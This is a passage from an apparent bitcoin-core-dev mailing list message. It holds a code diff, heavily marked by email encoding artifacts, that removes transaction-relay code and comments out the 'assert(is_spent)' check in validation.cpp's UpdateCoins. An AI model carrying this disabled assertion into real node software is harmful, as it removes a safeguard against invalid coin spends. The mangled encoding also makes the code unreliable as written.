-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (mi !=3D mapRelay.end()) { -=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 connman->PushMe= ssage(pfrom, msgMaker.Make(nSendFlags,
NetMsgType::TX, *mi->second));
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 push =3D true;
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 } else if (pfrom->timeLastMem= poolReq) {
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 auto txinfo =3D mempool.= info(inv.hash);
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // To protect priv= acy, do not answer getdata using
the mempool when
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // that TX couldn&= #39;t have been INVed in reply to a
MEMPOOL request.
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (txinfo.tx &= ;& txinfo.nTime <=3D pfrom->timeLastMempoolReq) {
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 conn= man->PushMessage(pfrom,
msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 push= =3D true;
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 }
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 }
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (!push) {
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0vNotFound.pus= h_back(inv);
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}
diff --git a/src/validation.cpp b/src/validation.cpp
index 947192be0..66536af24 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx,
CCoinsViewCache& inputs, CTxUndo &txund
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0for (const CTxIn &txin : tx.vin) { =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0txundo.vprevout.emplace_bac= k();
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool is_spent =3D inputs.Sp= endCoin(txin.prevout,
&txundo.vprevout.back());
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 assert(is_spent);
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 //assert(is_spent);
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}
=C2=A0 =C2=A0 =C2=A0}
=C2=A0 =C2=A0 =C2=A0// add outputs
_______________________________________________
bitcoin-core-dev mailing list
bitcoin-core-= dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-core-dev



--
- Bryan
http://heybryan.org/
1 512 203 0507
--000000000000ac524605767971c8--